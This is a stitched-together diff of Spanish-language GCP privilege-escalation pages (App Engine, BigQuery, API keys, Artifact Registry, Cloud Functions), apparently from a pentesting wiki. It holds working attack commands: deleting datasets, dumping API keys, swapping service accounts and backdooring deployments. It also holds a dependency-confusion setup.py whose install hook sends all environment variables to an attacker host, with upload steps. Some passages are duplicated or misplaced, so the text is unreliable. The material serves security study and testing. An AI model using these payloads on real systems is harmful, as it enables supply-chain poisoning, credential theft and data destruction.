gsutil cp gs://appengine-lab-1-gcp-labs-4t04m0i6-3a97003354979ef6/labs_appengine_1_premissions_privesc.zip .
|
||||
unzip labs_appengine_1_premissions_privesc.zip
|
||||
|
||||
## Now modify the code..
|
||||
|
||||
## If you don't have an app.yaml, create one like:
|
||||
cat >> app.yaml <<EOF
|
||||
runtime: python312
|
||||
|
||||
entrypoint: gunicorn -b :\$PORT main:app
|
||||
|
||||
env_variables:
|
||||
A_VARIABLE: "value"
|
||||
EOF
|
||||
|
||||
# Deploy the changes
|
||||
gcloud app deploy
|
||||
|
||||
# Update the SA if you need it (and if you have actas permissions)
|
||||
gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com
|
||||
```
|
||||
Si **ya has comprometido un AppEngine** y tienes el permiso **`appengine.applications.update`** y **actAs** sobre la cuenta de servicio a usar, podrías modificar la cuenta de servicio que usa AppEngine con:
|
||||
```bash
|
||||
gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com
|
||||
```
|
||||
### `appengine.instances.enableDebug`, `appengine.instances.get`, `appengine.instances.list`, `appengine.operations.get`, `appengine.services.get`, `appengine.services.list`, `appengine.versions.get`, `appengine.versions.list`, `compute.projects.get`
|
||||
|
||||
Con estos permisos, es posible iniciar sesión vía ssh en instancias de App Engine de tipo **flexible** (no **standard**). Algunos de los permisos de **`list`** y **`get`** podrían no ser realmente necesarios.
|
||||
```bash
|
||||
gcloud app instances ssh --service <app-name> --version <version-id> <ID>
|
||||
```
|
||||
### `appengine.applications.update`, `appengine.operations.get`
|
||||
|
||||
Creo que esto solo cambia la cuenta de servicio (SA) en segundo plano que Google usará para configurar las aplicaciones, por lo que no creo que puedas abusar de esto para robar la cuenta de servicio.
|
||||
```bash
|
||||
gcloud app update --service-account=<sa_email>
|
||||
```
|
||||
### `appengine.versions.getFileContents`, `appengine.versions.update`
|
||||
|
||||
No estoy seguro de cómo usar estos permisos o si son útiles (ten en cuenta que cuando cambias el código se crea una nueva versión, así que no sé si puedes simplemente actualizar el código o el IAM role de una, pero supongo que deberías poder hacerlo, quizá cambiando el código dentro del bucket??).
|
||||
|
||||
### `bigquery.tables.delete`, `bigquery.datasets.delete` & `bigquery.models.delete` (`bigquery.models.getMetadata`)
|
||||
|
||||
Para eliminar tablas, datasets o modelos:
|
||||
```bash
|
||||
# Table removal
|
||||
bq rm -f -t <PROJECT_ID>.<DATASET>.<TABLE_NAME>
|
||||
|
||||
# Dataset removal
|
||||
bq rm -r -f <PROJECT_ID>:<DATASET>
|
||||
|
||||
# Model removal
|
||||
bq rm -m <PROJECT_ID>:<DATASET_NAME>.<MODEL_NAME>
|
||||
```
|
||||
### Abuse of Scheduled Queries
|
||||
|
||||
Con los permisos `bigquery.datasets.get`, `bigquery.jobs.create` y `iam.serviceAccounts.actAs`, una identidad puede consultar metadata del dataset, iniciar BigQuery jobs y ejecutarlos usando un Service Account con privilegios superiores.
|
||||
|
||||
Este ataque permite el uso malicioso de Scheduled Queries para automatizar consultas (que se ejecutan con el Service Account seleccionado), lo que puede, por ejemplo, provocar que datos sensibles sean leídos y escritos en otra tabla o dataset al que el atacante sí tiene acceso — facilitando una exfiltration indirecta y continua sin necesidad de extraer los datos externamente.
|
||||
|
||||
Una vez que el atacante sabe qué Service Account tiene los permisos necesarios para ejecutar la consulta deseada, puede crear una configuración de Scheduled Query que se ejecute con ese Service Account y escriba periódicamente los resultados en un dataset elegido por él.
|
||||
```bash
|
||||
bq mk \
|
||||
--transfer_config \
|
||||
--project_id=<PROJECT_ID> \
|
||||
--location=US \
|
||||
--data_source=scheduled_query \
|
||||
--target_dataset=<DEST_DATASET> \
|
||||
--display_name="Generic Scheduled Query" \
|
||||
--service_account_name="<SERVICE_ACCOUNT>@<PROJECT_ID>.iam.gserviceaccount.com" \
|
||||
--schedule="every 10 minutes" \
|
||||
--params='{
|
||||
"query": "SELECT * FROM `<PROJECT_ID>.<SOURCE_DATASET>.<source_table>`;",
|
||||
"destination_table_name_template": "<destination_table>",
|
||||
"write_disposition": "WRITE_TRUNCATE"
|
||||
}'
|
||||
|
||||
```
|
||||
### Acceso de escritura sobre los buckets
|
||||
|
||||
Como se mencionó, las versiones de AppEngine generan algunos datos dentro de un bucket con el nombre: `staging.<project-id>.appspot.com`. Ten en cuenta que no es posible pre-takeover este bucket porque los usuarios de GCP no están autorizados a crear buckets usando el dominio `appspot.com`.
|
||||
|
||||
Sin embargo, con acceso de lectura y escritura sobre este bucket, es posible escalar privilegios a la SA adjunta a la versión de AppEngine monitorizando el bucket y, cada vez que se realice un cambio, modificar el código lo más rápido posible. De este modo, el contenedor que se crea a partir de ese código **execute the backdoored code**.
|
||||
|
||||
Para más información y una **PoC consulta la información relevante en esta página**:
|
||||
|
||||
{{#ref}}
|
||||
gcp-serviceusage-privesc.md
|
||||
gcp-storage-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Brute Force API Key access <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>
|
||||
### Acceso de escritura sobre el Artifact Registry
|
||||
|
||||
Como puede que no sepas qué APIs están habilitadas en el proyecto o las restricciones aplicadas a la API key que encontraste, sería interesante ejecutar la herramienta [**https://github.com/ozguralp/gmapsapiscanner**](https://github.com/ozguralp/gmapsapiscanner) y comprobar **a qué puedes acceder con la API key.**
|
||||
|
||||
### `apikeys.keys.create` <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>
|
||||
|
||||
Este permiso permite **crear una API key**:
|
||||
|
||||
<details>
|
||||
<summary>Create an API key using gcloud</summary>
|
||||
```bash
|
||||
gcloud services api-keys create
|
||||
Operation [operations/akmf.p7-[...]9] complete. Result: {
|
||||
"@type":"type.googleapis.com/google.api.apikeys.v2.Key",
|
||||
"createTime":"2022-01-26T12:23:06.281029Z",
|
||||
"etag":"W/\"HOhA[...]=\"",
|
||||
"keyString":"AIzaSy[...]oU",
|
||||
"name":"projects/5[...]6/locations/global/keys/f707[...]e8",
|
||||
"uid":"f707[...]e8",
|
||||
"updateTime":"2022-01-26T12:23:06.378442Z"
|
||||
}
|
||||
```
|
||||
</details>
|
||||
|
||||
Puedes encontrar un script para automatizar la [**creación, exploit y limpieza de un vuln environment aquí**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/b-apikeys.keys.create.sh).
|
||||
|
||||
> [!CAUTION]
|
||||
> Ten en cuenta que por defecto los usuarios tienen permisos para crear nuevos proyectos y se les concede el rol Owner sobre el nuevo proyecto. Por lo tanto, un usuario podría **crear un proyecto y una API key dentro de este proyecto**.
|
||||
|
||||
### `apikeys.keys.getKeyString` , `apikeys.keys.list` <a href="#apikeys.keys.getkeystringapikeys.keys.list" id="apikeys.keys.getkeystringapikeys.keys.list"></a>
|
||||
|
||||
Estos permisos permiten **listar y obtener todas las apiKeys y obtener la Key**:
|
||||
|
||||
<details>
|
||||
<summary>Listar y recuperar todas las API keys</summary>
|
||||
```bash
|
||||
for key in $(gcloud services api-keys list --uri); do
|
||||
gcloud services api-keys get-key-string "$key"
|
||||
done
|
||||
```
|
||||
</details>
|
||||
|
||||
Puedes encontrar un script para automatizar la [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/c-apikeys.keys.getKeyString.sh).
|
||||
|
||||
### `apikeys.keys.undelete` , `apikeys.keys.list` <a href="#serviceusage.apikeys.regenerateapikeys.keys.list" id="serviceusage.apikeys.regenerateapikeys.keys.list"></a>
|
||||
|
||||
Estos permisos te permiten **listar y regenerar api keys eliminadas**. La **API key aparece en la salida** después de que se realiza el **undelete**:
|
||||
|
||||
<details>
|
||||
<summary>Listar y undelete API keys</summary>
|
||||
```bash
|
||||
gcloud services api-keys list --show-deleted
|
||||
gcloud services api-keys undelete <key-uid>
|
||||
```
|
||||
</details>
|
||||
|
||||
### Crear Internal OAuth Application para phish a otros trabajadores
|
||||
|
||||
Consulta la siguiente página para aprender cómo hacer esto, aunque esta acción pertenece al servicio **`clientauthconfig`** [según la documentación](https://cloud.google.com/iap/docs/programmatic-oauth-clients#before-you-begin):
|
||||
|
||||
{{#ref}}
|
||||
../../workspace-security/gws-google-platforms-phishing/
|
||||
{{#endref}}
|
||||
Aunque App Engine crea imágenes docker dentro de Artifact Registry, se comprobó que **incluso si modificas la imagen dentro de este servicio** y se elimina la instancia de App Engine (por lo que se despliega una nueva), el **código ejecutado no cambia**.\
|
||||
**Podría ser posible que al realizar un Race Condition attack, como con los buckets, se pudiera sobrescribir el código ejecutado**, pero esto no se probó.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+89
-34
@@ -4,7 +4,7 @@
|
||||
|
||||
## Artifact Registry
|
||||
|
||||
Para más información sobre Artifact Registry consulta:
|
||||
Para más información sobre Artifact Registry, consulta:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-artifact-registry-enum.md
|
||||
@@ -12,10 +12,10 @@ Para más información sobre Artifact Registry consulta:
|
||||
|
||||
### artifactregistry.repositories.uploadArtifacts
|
||||
|
||||
Con este permiso un atacante podría subir nuevas versiones de los artefactos con código malicioso, como imágenes Docker:
|
||||
Con este permiso, un atacante podría subir nuevas versiones de los artifacts con código malicioso, como Docker images:
|
||||
|
||||
<details>
|
||||
<summary>Subir una imagen Docker a Artifact Registry</summary>
|
||||
<summary>Subir imagen Docker a Artifact Registry</summary>
|
||||
```bash
|
||||
# Configure docker to use gcloud to authenticate with Artifact Registry
|
||||
gcloud auth configure-docker <location>-docker.pkg.dev
|
||||
@@ -29,22 +29,22 @@ docker push <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> Se comprobó que es **posible subir una nueva imagen docker maliciosa** con el mismo nombre y tag que la ya presente, por lo que la **antigua perderá el tag** y la próxima vez que se descargue esa imagen con ese tag se descargará la **maliciosa**.
|
||||
> Se comprobó que es **posible subir una nueva imagen docker maliciosa** con el mismo nombre y tag que la ya presente, por lo que la **antigua perderá el tag** y la próxima vez que se descargue esa imagen con ese tag se descargará la maliciosa.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Upload a Python library</summary>
|
||||
<summary>Subir una biblioteca de Python</summary>
|
||||
|
||||
**Empieza creando la librería para subir** (si puedes descargar la última versión desde el registry puedes evitar este paso):
|
||||
**Comienza creando la biblioteca a subir** (si puedes descargar la última versión desde el registry puedes evitar este paso):
|
||||
|
||||
1. **Prepara la estructura del proyecto**:
|
||||
1. **Configura la estructura del proyecto**:
|
||||
|
||||
- Crea un nuevo directorio para tu librería, p. ej., `hello_world_library`.
|
||||
- Dentro de este directorio, crea otro directorio con el nombre del paquete, p. ej., `hello_world`.
|
||||
- Dentro del directorio del paquete, crea un archivo `__init__.py`. Este archivo puede estar vacío o contener inicializaciones del paquete.
|
||||
- Crea un nuevo directorio para tu biblioteca, p. ej., `hello_world_library`.
|
||||
- Dentro de este directorio, crea otro directorio con el nombre de tu paquete, p. ej., `hello_world`.
|
||||
- Dentro de tu directorio de paquete, crea un archivo `__init__.py`. Este archivo puede estar vacío o puede contener inicializaciones para tu paquete.
|
||||
|
||||
<details>
|
||||
<summary>Create project structure</summary>
|
||||
<summary>Crear estructura del proyecto</summary>
|
||||
|
||||
```bash
|
||||
mkdir hello_world_library
|
||||
@@ -55,13 +55,13 @@ touch hello_world/__init__.py
|
||||
|
||||
</details>
|
||||
|
||||
2. **Escribe el código de la librería**:
|
||||
2. **Escribe el código de tu biblioteca**:
|
||||
|
||||
- Dentro del directorio `hello_world`, crea un nuevo archivo Python para tu módulo, p. ej., `greet.py`.
|
||||
- Escribe la función "Hello, World!":
|
||||
- Escribe tu función "Hello, World!":
|
||||
|
||||
<details>
|
||||
<summary>Create library module</summary>
|
||||
<summary>Crear módulo de la biblioteca</summary>
|
||||
|
||||
```python
|
||||
# hello_world/greet.py
|
||||
@@ -73,11 +73,11 @@ return "Hello, World!"
|
||||
|
||||
3. **Crea un archivo `setup.py`**:
|
||||
|
||||
- En la raíz del directorio `hello_world_library`, crea un archivo `setup.py`.
|
||||
- Este archivo contiene metadatos sobre tu librería y le indica a Python cómo instalarla.
|
||||
- En la raíz de tu directorio `hello_world_library`, crea un archivo `setup.py`.
|
||||
- Este archivo contiene metadata sobre tu biblioteca y le indica a Python cómo instalarla.
|
||||
|
||||
<details>
|
||||
<summary>Create setup.py file</summary>
|
||||
<summary>Crear archivo setup.py</summary>
|
||||
|
||||
```python
|
||||
# setup.py
|
||||
@@ -95,14 +95,14 @@ install_requires=[
|
||||
|
||||
</details>
|
||||
|
||||
**Ahora, vamos a subir la librería:**
|
||||
**Ahora, subamos la biblioteca:**
|
||||
|
||||
1. **Construye tu paquete**:
|
||||
|
||||
- Desde la raíz del directorio `hello_world_library`, ejecuta:
|
||||
- Desde la raíz de tu directorio `hello_world_library`, ejecuta:
|
||||
|
||||
<details>
|
||||
<summary>Build Python package</summary>
|
||||
<summary>Construir paquete Python</summary>
|
||||
|
||||
```sh
|
||||
python3 setup.py sdist bdist_wheel
|
||||
@@ -124,7 +124,7 @@ twine upload --username 'oauth2accesstoken' --password "$(gcloud auth print-acce
|
||||
3. **Limpiar la compilación**
|
||||
|
||||
<details>
|
||||
<summary>Limpiar artefactos de compilación</summary>
|
||||
<summary>Eliminar artefactos de compilación</summary>
|
||||
```bash
|
||||
rm -rf dist build hello_world.egg-info
|
||||
```
|
||||
@@ -133,7 +133,7 @@ rm -rf dist build hello_world.egg-info
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> No es posible subir una librería de python con la misma versión que la ya presente, pero es posible subir **versiones superiores** (o añadir un **`.0` al final** de la versión si eso funciona —no en python, sin embargo—), o **eliminar la última versión y subir una nueva** (se necesita `artifactregistry.versions.delete`):
|
||||
> No es posible subir una librería de python con la misma versión que la ya presente, pero es posible subir **versiones superiores** (o añadir un **`.0` al final** de la versión si eso funciona -no en python sin embargo-), o **eliminar la última versión y subir una nueva con** (se necesita `artifactregistry.versions.delete`):
|
||||
>
|
||||
> <details>
|
||||
> <summary>Eliminar versión del artefacto</summary>
|
||||
@@ -143,15 +143,15 @@ rm -rf dist build hello_world.egg-info
|
||||
> ```
|
||||
>
|
||||
> </details>
|
||||
>
|
||||
|
||||
### `artifactregistry.repositories.downloadArtifacts`
|
||||
|
||||
Con este permiso puedes **descargar artefactos** y buscar **información sensible** y **vulnerabilidades**.
|
||||
|
||||
Descargar una imagen de Docker:
|
||||
Descargar una imagen **Docker**:
|
||||
|
||||
<details>
|
||||
<summary>Descargar imagen Docker desde Artifact Registry</summary>
|
||||
<summary>Descargar imagen **Docker** desde Artifact Registry</summary>
|
||||
```sh
|
||||
# Configure docker to use gcloud to authenticate with Artifact Registry
|
||||
gcloud auth configure-docker <location>-docker.pkg.dev
|
||||
@@ -164,13 +164,13 @@ docker pull <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
|
||||
Descargar una biblioteca de **python**:
|
||||
|
||||
<details>
|
||||
<summary>Descargar una biblioteca de Python desde Artifact Registry</summary>
|
||||
<summary>Descargar biblioteca Python desde Artifact Registry</summary>
|
||||
```bash
|
||||
pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth print-access-token)@<location>-python.pkg.dev/<project-id>/<repo-name>/simple/" --trusted-host <location>-python.pkg.dev --no-cache-dir
|
||||
```
|
||||
</details>
|
||||
|
||||
- ¿Qué sucede si se mezclan un registro remoto y uno estándar en uno virtual y un paquete existe en ambos? Consulta esta página:
|
||||
- ¿Qué ocurre si se mezclan un registro remoto y uno estándar en uno virtual y un paquete existe en ambos? Consulta esta página:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-persistence/gcp-artifact-registry-persistence.md
|
||||
@@ -178,10 +178,10 @@ pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth prin
|
||||
|
||||
### `artifactregistry.tags.delete`, `artifactregistry.versions.delete`, `artifactregistry.packages.delete`, (`artifactregistry.repositories.get`, `artifactregistry.tags.get`, `artifactregistry.tags.list`)
|
||||
|
||||
Eliminar artefactos del registro, como imágenes docker:
|
||||
Eliminar artefactos del registro, como docker images:
|
||||
|
||||
<details>
|
||||
<summary>Eliminar imagen Docker de Artifact Registry</summary>
|
||||
<summary>Eliminar Docker image de Artifact Registry</summary>
|
||||
```bash
|
||||
# Delete a docker image
|
||||
gcloud artifacts docker images delete <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
|
||||
@@ -201,17 +201,72 @@ gcloud artifacts repositories delete <repo-name> --location=<location>
|
||||
|
||||
### `artifactregistry.repositories.setIamPolicy`
|
||||
|
||||
Un atacante con este permiso podría otorgarse permisos para realizar algunos de los ataques al repositorio mencionados anteriormente.
|
||||
Un atacante con este permiso podría otorgarse permisos para realizar algunos de los ataques a repositorios mencionados anteriormente.
|
||||
|
||||
### Pivoting to other Services through Artifact Registry Read & Write
|
||||
### Pivotar a otros Servicios mediante lectura y escritura en Artifact Registry
|
||||
|
||||
- **Cloud Functions**
|
||||
|
||||
When a Cloud Function is created a new docker image is pushed to the Artifact Registry of the project. Intenté modificar la imagen por una nueva, e incluso eliminar la imagen actual (y la imagen `cache`) y nada cambió, la Cloud Function siguió funcionando. Por lo tanto, quizá **podría ser posible abusar de un Race Condition attack** como con el bucket para cambiar el contenedor docker que se ejecutará, pero **solo modificar la imagen almacenada no parece posible para comprometer la Cloud Function**.
|
||||
Cuando se crea una Cloud Function se sube un nuevo docker image al Artifact Registry del proyecto. Intenté modificar la imagen por una nueva, e incluso eliminar la imagen actual (y la imagen `cache`) y nada cambió; la Cloud Function siguió funcionando. Por lo tanto, puede que **sea posible abusar de un Race Condition** como con el bucket para cambiar el contenedor docker que se ejecutará, pero **solo modificar la imagen almacenada no parece ser suficiente para comprometer la Cloud Function**.
|
||||
|
||||
- **App Engine**
|
||||
|
||||
Although App Engine creates docker images inside Artifact Registry. Se probó que **incluso si modificas la imagen dentro de este servicio** y eliminas la instancia de App Engine (por lo que se despliega una nueva) el **código ejecutado no cambia**.\
|
||||
Podría ser posible que realizando un **Race Condition attack como con los buckets** sea posible sobrescribir el código ejecutado, pero esto no fue probado.
|
||||
Aunque App Engine crea docker images dentro de Artifact Registry, se comprobó que **incluso si modificas la imagen dentro de este servicio** y eliminas la instancia de App Engine (de modo que se despliega una nueva), el **código que se ejecuta no cambia**.\
|
||||
Puede que sea posible que, realizando un **Race Condition como con los buckets, sea posible sobrescribir el código ejecutado**, pero esto no fue probado.
|
||||
|
||||
|
||||
### `artifactregistry.repositories.update`
|
||||
Un atacante no necesita permisos específicos de Artifact Registry para explotar este problema: solo se requiere una configuración de repositorio virtual vulnerable. Esto ocurre cuando un repositorio virtual combina un repositorio público remoto (p. ej., PyPI, npm) con uno interno, y la fuente remota tiene igual o mayor prioridad. Si ambos contienen un paquete con el mismo nombre, el sistema selecciona la versión más alta. El atacante solo necesita conocer el nombre del paquete interno y poder publicar paquetes en el registro público correspondiente.
|
||||
|
||||
Con el permiso `artifactregistry.repositories.update`, un atacante podría cambiar la configuración upstream de un repositorio virtual para crear intencionadamente esta configuración vulnerable y usar Dependency Confusion como método de persistencia insertando paquetes maliciosos que los desarrolladores o los sistemas CI/CD puedan instalar automáticamente.
|
||||
|
||||
El atacante crea una versión maliciosa del paquete interno en el repositorio público con un número de versión más alto. Para paquetes de Python, esto implica preparar una estructura de paquete que imite a la legítima.
|
||||
```bash
|
||||
mkdir /tmp/malicious_package
|
||||
cd /tmp/malicious_package
|
||||
PACKAGE_NAME="<package-name>"
|
||||
mkdir "$PACKAGE_NAME"
|
||||
touch "$PACKAGE_NAME/__init__.py"
|
||||
```
|
||||
A continuación se crea un archivo setup.py que contiene código malicioso que se ejecutaría durante la instalación. Este archivo debe especificar un número de versión mayor que el del repositorio privado.
|
||||
```bash
|
||||
cat > setup.py << 'EOF'
|
||||
import setuptools
|
||||
from setuptools.command.install import install
|
||||
import os
|
||||
import urllib.request
|
||||
import urllib.parse
|
||||
|
||||
def malicious_function():
|
||||
data = dict(os.environ)
|
||||
encoded_data = urllib.parse.urlencode(data).encode()
|
||||
url = 'https://<ip-atacante>/exfil'
|
||||
req = urllib.request.Request(url, data=encoded_data)
|
||||
urllib.request.urlopen(req)
|
||||
|
||||
class AfterInstall(install):
|
||||
def run(self):
|
||||
install.run(self)
|
||||
malicious_function()
|
||||
|
||||
setuptools.setup(
|
||||
name = "<package-name>",
|
||||
version = "0.1.1",
|
||||
packages = ["<package-name>"],
|
||||
cmdclass={'install': AfterInstall},
|
||||
)
|
||||
EOF
|
||||
```
|
||||
Construye el paquete y elimina el wheel para asegurar que el código se ejecute durante la instalación.
|
||||
```bash
|
||||
python3 setup.py sdist bdist_wheel
|
||||
rm dist/<package-name>*.whl
|
||||
```
|
||||
Sube el paquete malicioso al repositorio público (por ejemplo, test.pypi.org para Python).
|
||||
```bash
|
||||
pip install twine
|
||||
twine upload --repository testpypi dist/*
|
||||
```
|
||||
Cuando un sistema o servicio instala el paquete usando el repositorio virtual, descargará la versión maliciosa desde el repositorio público en lugar de la legítima interna, porque la versión maliciosa tiene un número de versión superior y el repositorio remoto tiene igual o mayor prioridad.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+30
-25
@@ -12,21 +12,19 @@ Más información sobre Cloud Functions:
|
||||
|
||||
### `cloudfunctions.functions.create` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`
|
||||
|
||||
Un atacante con estos privilegios puede **crear una nueva Cloud Function con código arbitrario (malicioso) y asignarle un Service Account**. Luego, leak el token del Service Account desde la metadata para escalar privilegios a dicho Service Account.\
|
||||
Pueden requerirse algunos privilegios para invocar la función.
|
||||
Un atacante con estos privilegios puede **crear una nueva Cloud Function con código arbitrario (malicioso) y asignarle una cuenta de servicio**. Luego, leak el token de la cuenta de servicio desde los metadatos para escalar privilegios a ésta.\
|
||||
Podrían ser necesarios algunos privilegios para invocar la función.
|
||||
|
||||
Los scripts de exploit para este método se pueden encontrar [aquí](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-call.py) y [aquí](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-setIamPolicy.py) y el archivo .zip preconstruido se puede encontrar [aquí](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudFunctions).
|
||||
Los scripts de explotación para este método se pueden encontrar [aquí](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-call.py) y [aquí](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-setIamPolicy.py) y el archivo .zip preconstruido se puede encontrar [aquí](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudFunctions).
|
||||
|
||||
### `cloudfunctions.functions.update` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`
|
||||
|
||||
Un atacante con estos privilegios puede **modificar el código de una Function e incluso modificar el Service Account adjunto** con el objetivo de exfiltrar el token.
|
||||
Un atacante con estos privilegios puede **modificar el código de una Function e incluso modificar la cuenta de servicio adjunta** con el objetivo de exfiltrar el token.
|
||||
|
||||
> [!CAUTION]
|
||||
> Para desplegar cloud functions también necesitarás permisos actAs sobre el default compute service account o sobre el service account que se usa para construir la imagen.
|
||||
> Para desplegar Cloud Functions también necesitarás permisos actAs sobre la cuenta de servicio predeterminada de Compute o sobre la cuenta de servicio que se usa para construir la imagen.
|
||||
|
||||
Pueden requerirse privilegios adicionales como el permiso `.call` para cloudfunctions v1 o el rol `role/run.invoker` para invocar la función.
|
||||
|
||||
<details><summary>Actualizar Cloud Function con código malicioso para exfiltrar el token del Service Account</summary>
|
||||
Pueden requerirse privilegios adicionales, como el permiso `.call` para cloudfunctions versión 1 o el rol `role/run.invoker` para invocar la función.
|
||||
```bash
|
||||
# Create new code
|
||||
temp_dir=$(mktemp -d)
|
||||
@@ -56,18 +54,14 @@ gcloud functions deploy <cloudfunction-name> \
|
||||
# Get SA token calling the new function code
|
||||
gcloud functions call <cloudfunction-name>
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> Si obtienes el error `Permission 'run.services.setIamPolicy' denied on resource...` es porque estás usando el parámetro `--allow-unauthenticated` y no tienes permisos suficientes para ello.
|
||||
|
||||
El script de exploit para este método se puede encontrar [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.update.py).
|
||||
El exploit script para este método se puede encontrar [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.update.py).
|
||||
|
||||
### `cloudfunctions.functions.sourceCodeSet`
|
||||
|
||||
Con este permiso puedes obtener una **URL firmada para poder subir un archivo a un bucket de la función (pero el código de la función no se cambiará, todavía necesitas actualizarlo)**
|
||||
|
||||
<details><summary>Generar URL firmada de subida para Cloud Function</summary>
|
||||
Con este permiso puedes obtener una **URL firmada para poder subir un archivo a un bucket de la función (pero el código de la función no se modificará, aún necesitas actualizarlo)**
|
||||
```bash
|
||||
# Generate the URL
|
||||
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
|
||||
@@ -75,38 +69,49 @@ curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/loca
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{}'
|
||||
```
|
||||
</details>
|
||||
|
||||
No estoy muy seguro de cuán útil es solo este permiso desde la perspectiva de un atacante, pero es bueno saberlo.
|
||||
No estoy muy seguro de cuán útil es solo este permiso desde la perspectiva de un attackers, pero es bueno saberlo.
|
||||
|
||||
### `cloudfunctions.functions.setIamPolicy` , `iam.serviceAccounts.actAs`
|
||||
|
||||
Asígnate cualquiera de los privilegios anteriores **`.update`** o **`.create`** para escalar.
|
||||
|
||||
```bash
|
||||
gcloud functions add-iam-policy-binding <NOMBRE_FUNCION> \
|
||||
--region=<REGION> \
|
||||
--member="<MIEMBRO>" \
|
||||
--role="roles/cloudfunctions.invoker"
|
||||
```
|
||||
### `cloudfunctions.functions.update`
|
||||
|
||||
Tener solo permisos de **`cloudfunctions`**, sin **`iam.serviceAccounts.actAs`**, **no te permitirá actualizar la función, ASÍ QUE ESTO NO ES UN PRIVESC VÁLIDO.**
|
||||
Solo teniendo permisos **`cloudfunctions`**, sin **`iam.serviceAccounts.actAs`**, **no podrás actualizar la función, POR LO TANTO ESTO NO ES UN PRIVESC VÁLIDO.**
|
||||
|
||||
### Acceso de lectura y escritura al bucket
|
||||
### Invocar funciones
|
||||
Con los permisos `cloudfunctions.functions.get`, `cloudfunctions.functions.invoke`, `run.jobs.run`, y run.routes.invoke, una identidad puede invocar directamente Cloud Functions. También es necesario que la función permita tráfico público, o que quien realice la llamada esté dentro de la misma red que la propia función.
|
||||
```bash
|
||||
curl -X POST "https://<FUNCTION_URL>" \
|
||||
-H "Authorization: bearer $(gcloud auth print-identity-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{ "name": "Developer" }'
|
||||
```
|
||||
### Acceso de lectura y escritura sobre el bucket
|
||||
|
||||
Si tienes acceso de lectura y escritura al bucket, puedes monitorizar cambios en el código y, siempre que se produzca una **actualización en el bucket, puedes reemplazar el nuevo código por tu propio código** para que la nueva versión de la Cloud Function se ejecute con el código backdoored enviado.
|
||||
Si tienes acceso de lectura y escritura sobre el bucket puedes monitorizar los cambios en el code y cada vez que ocurra una **actualización en el bucket puedes reemplazar el nuevo code con tu propio code** de modo que la nueva versión de la Cloud Function se ejecute con el backdoored code enviado.
|
||||
|
||||
Puedes consultar más sobre el ataque en:
|
||||
Puedes leer más sobre el ataque en:
|
||||
|
||||
{{#ref}}
|
||||
gcp-storage-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
Sin embargo, no puedes usar esto para comprometer de forma previa Cloud Functions de terceros porque si creas el bucket en tu cuenta y le das permisos públicos para que el proyecto externo pueda escribir en él, obtendrás el siguiente error:
|
||||
Sin embargo, no puedes usar esto para comprometer previamente Cloud Functions de terceros porque si creas el bucket en tu cuenta y le das permisos públicos para que el proyecto externo pueda escribir en él, obtendrás el siguiente error:
|
||||
|
||||
<figure><img src="../../../images/image (1) (1) (1).png" alt="" width="304"><figcaption></figcaption></figure>
|
||||
|
||||
> [!CAUTION]
|
||||
> Sin embargo, esto podría usarse para ataques DoS.
|
||||
|
||||
### Acceso de lectura y escritura al Artifact Registry
|
||||
### Acceso de lectura y escritura sobre Artifact Registry
|
||||
|
||||
Cuando se crea una Cloud Function se empuja una nueva imagen docker al Artifact Registry del proyecto. Intenté modificar la imagen por una nueva, e incluso eliminar la imagen actual (y la imagen `cache`) y no pasó nada, la cloud function siguió funcionando. Por lo tanto, quizá **podría ser posible abusar de un Race Condition attack** al igual que con el bucket para cambiar el contenedor docker que se ejecutará, pero **solo modificar la imagen almacenada no es suficiente para comprometer la Cloud Function**.
|
||||
Cuando se crea una Cloud Function se sube una nueva docker image al Artifact Registry del proyecto. Intenté modificar la image por una nueva, e incluso eliminar la image actual (y la `cache` image) y nada cambió; la Cloud Function siguió funcionando. Por lo tanto, quizá **podría ser posible abusar de un Race Condition** como con el bucket para cambiar el docker container que se ejecutará, pero **solo modificar la image almacenada no es suficiente para comprometer la Cloud Function**.
|
||||
|
||||
## Referencias
|
||||
|
||||
|
||||
